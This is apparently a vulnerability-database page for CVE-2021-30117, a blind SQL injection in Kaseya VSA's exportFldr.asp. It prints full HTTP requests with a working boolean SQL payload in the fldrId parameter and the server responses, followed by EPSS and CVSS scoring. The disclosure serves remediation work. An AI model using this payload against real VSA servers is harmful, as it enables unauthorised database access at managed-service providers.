CVE-2021-30117 | Authenticated SQL injection in Kaseya VSA < v9.5.6

The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```

Published: 2021-07-09 Last update: 2026-06-16 Assigner: [email protected] Source: [email protected]

Conclusion & alert: CVE-2021-30117 is rated High Risk (74.2/100): CVSS Critical severity, with high exploitation likelihood (EPSS 72.05%, 99th percentile). Core evidence: EPSS ranks this CVE among the most likely to be exploited in the near term. Mandatory action: High exploitation likelihood—assess exposure and prioritize remediation.

Risk is dynamic; we continuously reassess and refresh what is shown on this page as upstream context changes.

Exploit prediction scoring system (EPSS) score for CVE-2021-30117

EPSS lead: Daily EPSS estimates relative likelihood of exploitation; percentile ranks this CVE among scored vulnerabilities (higher = more severe relative rank).

# Date Old EPSS score New EPSS score Delta (New - Old)
1 2026-06-21 71.86% 72.05% +0.19%
2 2026-06-15 1.20% 71.86% +70.66%
3 2026-05-30 1.20%

Full EPSS history (24 records total)

Common vulnerability scoring system (CVSS) metrics for CVE-2021-30117

CVSS metrics for this CVE.

Base score Version Severity Vector Exploitability Impact Score source
9.8 3.1 CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.
3.9 5.9 [email protected]
8.8 3.1 HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.
2.8 5.9 [email protected]
6.5 2.0 MEDIUM
AV:N/AC:L/Au:S/C:P/I:P/A:P Click to expand
Access vector (AV:N)
Can be exploited remotely over network reachability.
Access complexity (AC:L)
Exploitation conditions are straightforward and predictable.
Authentication (AU:S)
A single authentication is required.
Confidentiality impact (C:P)
Partial confidentiality impact.
Integrity impact (I:P)
Partial integrity impact.
Availability impact (A:P)
Partial availability impact.
8.0 6.4 [email protected]

Weakness enumeration for CVE-2021-30117

Affected software / configurations for CVE-2021-30117

Vendor Product Version Raw CPE
kaseya vsa < 9.5.6 cpe:2.3:a:kaseya:vsa:*:*:*:*:-:*:*:*

References for CVE-2021-30117

cvelogic Threat Intelligence